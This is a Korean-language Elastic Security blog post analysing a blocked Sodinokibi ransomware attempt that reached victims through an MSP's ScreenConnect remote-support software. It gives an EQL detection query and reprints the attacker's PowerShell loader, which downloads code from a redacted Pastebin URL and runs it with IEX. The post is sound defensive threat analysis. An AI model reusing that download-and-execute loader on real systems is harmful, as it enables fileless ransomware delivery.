차단된 랜섬웨어: Sodinokibi와 공급망 | Elastic Blog
엔지니어링

차단된 랜섬웨어: Sodinokibi와 공급망

지난달 Elastic Security 보호팀은 당사 고객 중 하나인 IT Managed Service Provider(MSP)가 모니터링하는 기업을 표적으로 한 랜섬웨어 공격 시도를 차단했습니다. 보호 팀은 여러 엔드포인트에서 Elastic Endpoint Security에 의해 공격자의 프로세스 주입 시도가 차단된 후 생성된 알림을 분석했습니다. 공격자는 피해자의 데이터를 암호화하여 인질로 삼기 전에 실행 중인 프로세스에 악성 코드를 주입하려고 시도하는 경우가 많습니다.

이번 사례에서 관찰된 행동은 기업 전체에 랜섬웨어를 배포하기 위해 MSP를 표적으로 하는 악의적 행위자에 대한 여러 보고서의 내용과 일치합니다. MSP와 해당 고객 간 신뢰 관계를 악용하는 이러한 공격은 그 특성상 소규모 기업에 심각한 손상을 주거나, 교통을 마비시키거나, 심지어 정부의 중요한 공공 서비스에 지장을 줄 수도 있습니다.

이번 사례에서는 공격자가 Elastic Security 고객이 아닌 다른 MSP를 통해 표적 환경에 액세스했다는 점에 주목해야 합니다. Elastic에서는 해당 환경이나 해당 환경이 어떻게 침해되었는지에 대한 구체적인 정보를 가지고 있지 않습니다.

이 게시물에서는 Elastic에서 어떤 악의적 행동을 관찰 및 차단했고, 이러한 공격이 실제로 자주 성공하는 이유는 무엇이며, 기업에서 이러한 공격 유형의 영향을 줄이기 위해 할 수 있는 조치는 무엇인지 설명합니다.

Elastic Security 엔지니어링 부문의 Elastic Security 인텔리전스 및 분석팀은 참여 고객의 익명화된 보안 텔레메트리를 사용하여 위협을 추적하고 제품을 개선하며, 이 기능에는 알림 메타데이터를 수집하는 것이 포함됩니다. 많은 고객에게 영향을 미치는 이벤트 패턴을 모니터링함으로써 분초를 다투는 의사 결정을 내려 새로운 위협을 완화하는 능력을 개선하거나 커뮤니티에 중요한 정보를 제공할 수 있습니다.

악의적 프로세스 주입 차단

침해의 초기 증거가 탐지된 것은 몇 번의 프로세스 주입 시도가 차단되었을 때였습니다. 프로세스 주입은 실행 중 프로세스의 주소 공간에서 코드를 실행하는 데 사용될 수 있습니다. 공격자는 보안 제품의 탐지를 피하거나, 높은 무결성 수준에서 실행되는 프로세스에서 악성 코드를 실행하여 자신의 권한을 승격하기 위해 이 기법을 자주 사용합니다.

ransomware-prevention-blog-process-injection-alerts.png

Elastic Endpoint Security 플랫폼의 프로세스 주입 알림

프로세스 주입 알림을 분석해 보니 셸코드를 자가 주입하려는 시도(일반적으로 악의적 행동)에 강력한 네이티브 스크립팅 프레임워크인 PowerShell이 사용되었음을 알 수 있었습니다. powershell.exe 프로세스가 원격 데스크톱 지원 애플리케이션인 ScreenConnect.WindowsClient.exe의 하위 항목으로 생성되었습니다. 이러한 유형의 소프트웨어는 IT 관리자가 원격 컴퓨터에 연결하여 최종 사용자에게 지원을 제공하는 데 사용되지만, 이와 같은 애플리케이션은 공격자에게 악용되는 경우가 많습니다(‘자원활용 자력형(LotL)’ 전술이라고 함).

아래 그림은 공격과 관련된 이벤트를 표시하는 시각화 도구인 Resolver™를 통해 이번 사례와 관련된 비정상적인 프로세스 계보를 보여줍니다.

프로세스 주입 시도와 관련된 프로세스 계보를 보여주는 Resolver™

cmd.exepowershell.exe는 모두 ScreenConnect.WindowsClient.exe 프로세스의 하위 항목입니다. 악의적 명령이나 스크립트를 실행할 수 있는 능력을 고려하면 의심스러운 항목이지만, 따로 떼어 놓고 보면 반드시 악의적 활동을 의미한다고 할 수는 없습니다. 악의적 행동을 추적 또는 탐지하거나 이에 대응하려면 정상 환경에 해당하는 기준을 설정하고 기업의 정상적인 프로세스 관계를 파악하는 것이 매우 중요합니다.

이번 사례의 프로세스와 해당 명령줄 인수를 검토한 결과 공격자가 ScreenConnect 원격 데스크톱 소프트웨어를 사용하여 연결하고 표적 엔드포인트에 배치 파일을 복사한 것으로 드러났습니다. Resolver™에서 cmd.exe 프로세스 중 하나를 살펴보니 이 배치 파일에 Base64로 인코딩된 PowerShell 스크립트가 포함되어 있었고 나중에 이 스크립트가 실행되었다는 것을 알 수 있었습니다.

EQL로 원치 않는 행동 탐지 및 차단

Elastic Endpoint Security의 보호 덕분에 이 잠재적 표적은 랜섬웨어 감염으로 인한 피해를 보지 않았지만, 많은 MSP가 여전히 이러한 방법을 사용한 공격과 씨름하고 있습니다. 이 공격자는 서비스 제공자가 고객과 암묵적 신뢰 관계를 유지하는 경우가 많다는 것과 그렇기 때문에 모든 종류의 제공자가 가치가 있다는 것을 잘 알고 있습니다.

일단 공격자가 표적 환경에 대한 초기 액세스 권한을 확보한 후에는 이 사례에서 볼 수 있는 것처럼 암묵적 신뢰 관계를 찾아 악용하는 것이 일반적입니다. 피해 기업은 MSP가 원격 데스크톱 지원 애플리케이션을 통해 자사 환경에 연결하는 것을 신뢰하므로 공급망이 침해될 위험이 있습니다.

이러한 신뢰 관계를 모니터링하고 방어하는 방법을 고려할 때는 신뢰할 수 있는 타사에서 자사 네트워크로 연결하는 애플리케이션에 중점을 두는 것이 좋습니다. ScreenConnect의 하위 프로세스를 블랙리스트에 올리는 것은 이러한 악의적 행동을 차단하기에 유효한 솔루션이 아닐 수 있습니다. 이렇게 하면 합법적인 지원 담당자가 효율적으로 작업할 수 없기 때문입니다. 하지만 보안 모니터링팀은 네트워크를 사용하고 있는 ScreenConnect의 하위 프로세스가 의심스럽다고 판단하여 이러한 행동을 탐지하고 차단하려고 할 수 있습니다. 이때는 Elastic의 EQL(Event Query Language)을 사용하면 되는데 이는 환경에 대한 인식을 높이는 일반적인 접근 방식입니다.

다음 EQL 쿼리는 프로세스의 고유 프로세스 ID(PID)를 사용하여 서로 연결된 두 이벤트의 순서를 검색합니다. 첫 번째 이벤트는 ScreenConnect*.exe의 하위 프로세스를 찾고, 두 번째 이벤트는 하위 프로세스에서 네트워크 활동을 찾습니다. 이 쿼리는 다른 원격 액세스 소프트웨어를 포함하거나 환경에서 예상되는 작업을 필터링하도록 쉽게 확장할 수 있습니다.

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

Elastic Endpoint Security를 사용하면 Reflex 대응 조치를 구성할 수도 있습니다. 이는 고객이 직접 사용자 정의 차단 규칙을 구현할 수 있는 방법입니다. 예를 들어 하위 프로세스가 네트워크 연결을 설정하면 해당 프로세스를 종료하도록 규칙을 설정할 수 있습니다. 이렇게 하면 악성 코드가 추가로 다운로드되거나 명령 및 제어 작업이 실행되는 것을 차단하게 됩니다.

Elastic Endpoint Security 플랫폼에서 Reflex 대응 조치 구성

Elastic Endpoint Security는 Windows, MacOS 또는 Linux 운영 체제에 기본 탑재되는 타사 관리 도구 또는 바이너리와 관련된 비정상적인 프로세스 관계를 탐지하고 차단하는 방법들을 비롯하여 수백 개의 자체 행동 기반 분석을 제공합니다.

적대적 스파이 기법 분석

실행된 PowerShell 스크립트는 .NET WebClient 클래스를 사용하여 Pastebin에서 콘텐츠를 다운로드하고 Invoke-Expression(IEX) cmdlet을 사용하여 코드를 실행하기 전에 프로세서 아키텍처를 확인했습니다. 이는 PowerShell을 통해 코드를 다운로드하고 실행하는 공격자들에게 널리 사용되는 기법입니다.

Pastebin은 합법적인 사용자가 코드 조각들을 자주 공유하는 평문 호스팅 및 공유 서비스입니다. 하지만 악의적 행위자도 Pastebin 및 유사한 웹사이트를 사용하여 악성 코드를 저장하거나 유출된 자격 증명을 게시합니다.

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
pastebin.com에서 콘텐츠1를 다운로드한 PowerShell 스크립트

이러한 행동은 엔드포인트에서 디스크 활동이 거의 또는 전혀 발생하지 않기 때문에 파일리스 또는 인 메모리 공격으로 분류되는 경우가 많습니다. Elastic Endpoint Security 에이전트가 파일리스 공격을 탐지하면 스테이징되어 주입된 코드와 스트링을 자동으로 수집하여 추출합니다. 이 기능을 통해 어떤 행동이 차단되고 있는지 완벽하게 파악할 수 있습니다.

VirusTotal에서 수집된 스트링 중 일부를 검색하니 Sodinokibi 랜섬웨어 계열의 표본 여러 개가 발견되었습니다.

다음의 구체적인 툴 마크 및 행동은 이 활동이 BleepingComputerCynet에 의해 보고된 Sodinokibi 또는 Gandcrab 랜섬웨어 표본이 수행하는 활동과 일치함을 보여줍니다.

  • 악의적 행위자는 ScreenConnect 원격 데스크톱 지원 소프트웨어를 사용하여 침해된 MSP에서 표적 기업으로 연결했습니다.
  • ScreenConnect는 배치 스크립트를 해당 엔드포인트로 복사하는 데 사용되었으며 여기에는 Pastebin에서 악성 코드를 다운로드하여 주입하는 PowerShell 스크립트가 포함되어 있었습니다.
  • 이 PowerShell 스크립트에는 다른 Sodinokibi 랜섬웨어 캠페인에서 관찰된 cmdlet 및 스트링(예: Invoke-LJJJIWVSRIMKPODStart-Sleep)이 포함되어 있었습니다.
  • 주입된 스레드에서 수집된 이 스트링은 최근 24시간 이내에 VirusTotal에 제출된 Sodinokibi 랜섬웨어 샘플과 일치합니다.

셸코드를 자가 주입하여 랜섬웨어를 실행하려는 공격자의 시도가 차단된 뒤, 초기 엔드포인트에 대한 공격이 중단됐습니다. 15분 후, 공격자는 다시 돌아왔으나 추가로 5개의 엔드포인트에 대해 동일한 프로시저를 실행하려고 시도한 후 결국 포기했습니다. 랜섬웨어를 배포하려는 시도는 모두 차단됐습니다.

결론

이 게시물에서는 악의적 행위자가 MSP와 해당 고객 간 신뢰 관계를 악용하여 랜섬웨어를 배포하려고 시도한 실제 사례를 설명했습니다. 이러한 사례는 기업이 타사와의 관계를 이해하고 해당 관계가 악용될 경우 미칠 수 있는 영향을 이해하는 것이 얼마나 중요한지 보여줍니다.

알림을 분석한 결과, 공격자가 원격 데스크톱 지원 소프트웨어를 통해 고객의 환경에 연결하고 랜섬웨어를 다운로드, 주입 및 실행하려는 의도로 악의적 스크립트를 실행한 것으로 드러났습니다. 공격자의 시도는 모두 차단됐습니다.

이번 사례는 또한 보안에 대한 계층적 접근 방식을 구현하고 적대 행동과 파일리스 공격을 탐지 및 차단하는 능력이 중요하다는 것을 보여줍니다. 공격자 프로시저를 분석하고 EQL과 Reflex가 어떻게 사용자 정의 규칙 및 대응 조치를 생성하는 데 사용되는지 보여드렸습니다.

악성 파일을 찾는 것만으로는 충분하지 않습니다. Elastic Endpoint Security는 랜섬웨어, 파일리스 공격, 피싱, 악용, 적대 행동에 대해 여러 계층의 행동 기반 보호 기능을 제공합니다.

현재 Elasticsearch에 EQL 지원을 추가하는 작업을 진행하고 있습니다. Elastic Endpoint Security 개발에 대한 소식을 받거나 미리 이용해 보기 프로그램을 신청하세요.

1 – 작성자 또는 Pastebin 직원이 Pastebin에서 이 콘텐츠를 삭제했습니다.